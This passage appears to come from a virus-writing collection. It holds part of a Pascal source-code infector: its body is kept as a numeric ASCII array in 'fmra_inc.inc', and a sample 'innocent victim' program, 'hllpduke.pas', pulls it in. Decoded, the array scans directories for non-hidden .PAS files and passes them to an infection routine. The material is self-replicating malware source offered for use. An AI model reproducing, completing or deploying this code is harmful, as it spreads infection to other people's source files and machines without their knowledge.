32,32,70,83,80,76,73,84,40,70,77,82,65,95,83,44,68,73,82,44, 78,65,77,44,69,88,84,41,59,13,10,32,32,32,32,73,70,32,40,69, 88,84,61,39,46,80,65,83,39,41,32,97,110,100,32,40,70,77,82,65, 95,83,82,46,65,116,116,114,32,97,110,100,32,72,105,100,100,101,110,61, 48,41,32,84,72,69,78,13,10,32,32,32,32,32,32,70,77,82,65,95, 68,101,116,101,99,116,85,110,105,116,70,105,108,101,40,70,77,82,65,95, 83,41,59,13,10,32,32,32,32,101,110,100,59,13,10,32,32,70,105,110, 100,78,101,120,116,40,70,77,82,65,95,83,82,41,59,13,10,32,32,101, 110,100,59,13,10,119,104,105,108,101,32,76,60,62,110,105,108,32,100,111, 13,10,32,32,98,101,103,105,110,13,10,32,32,109,58,61,83,116,100,105, 114,43,76,94,46,78,97,109,101,59,13,10,32,32,67,104,68,105,114,40, 109,41,59,13,10,32,32,105,102,32,73,79,82,101,115,117,108,116,60,62, 48,32,116,104,101,110,32,69,120,105,116,59,13,10,32,32,110,58,61,76, 59,13,10,32,32,76,58,61,76,94,46,110,101,120,116,59,13,10,32,32, 68,105,115,112,111,115,101,40,110,41,59,13,10,32,32,109,58,61,109,43, 39,92,39,59,13,10,32,32,105,102,32,73,79,82,101,115,117,108,116,61, 48,32,116,104,101,110,32,70,77,82,65,95,83,99,97,110,68,105,114,40, 109,41,59,13,10,32,32,109,58,61,115,116,100,105,114,59,13,10,32,32, 105,102,32,109,91,108,101,110,103,116,104,40,109,41,45,49,93,60,62,39, 58,39,32,116,104,101,110,32,109,91,48,93,58,61,99,104,114,40,108,101, 110,103,116,104,40,115,116,100,105,114,41,45,49,41,59,13,10,32,32,67, 104,68,105,114,40,109,41,59,13,10,32,32,101,110,100,59,13,10,101,110, 100,59,13,10,13,10,80,82,79,67,69,68,85,82,69,32,70,77,82,65, 95,77,97,110,97,103,101,114,59,13,10,86,65,82,13,10,32,32,32,32, 72,111,109,101,32,58,32,80,97,116,104,83,116,114,59,13,10,32,32,32, 32,83,32,32,32,32,58,32,83,116,114,105,110,103,59,13,10,66,69,71, 73,78,13,10,82,97,110,100,111,109,105,122,101,59,13,10,71,101,116,68, 105,114,40,48,44,32,72,111,109,101,41,59,13,10,105,102,32,72,111,109, 101,91,76,101,110,103,116,104,40,72,111,109,101,41,93,61,39,92,39,32, 116,104,101,110,32,68,101,108,101,116,101,40,72,111,109,101,44,76,101,110, 103,116,104,40,72,111,109,101,41,44,49,41,59,13,10,83,58,61,72,111, 109,101,91,49,93,43,39,58,39,59,13,10,70,77,82,65,95,67,104,68, 114,105,118,101,40,79,82,68,40,85,112,67,97,115,101,40,83,91,49,93, 41,41,45,54,53,41,59,13,10,70,77,82,65,95,83,99,97,110,68,105, 114,40,83,41,59,13,10,70,77,82,65,95,67,104,68,114,105,118,101,40, 79,82,68,40,85,112,67,97,115,101,40,72,111,109,101,91,49,93,41,41, 45,54,53,41,59,13,10,67,104,68,105,114,40,72,111,109,101,41,59,13, 10,69,78,68,59,13,10,13,10,66,69,71,73,78,13,10,70,77,82,65, 95,77,97,110,97,103,101,114,59,13,10,69,78,68,46,13,10); ===== end fmra_inc.inc ===== Невинная жертва : ===== begin hllpduke.pas ===== USES FMRA_BEG; BEGIN END. ===== end hllpduke.pas =====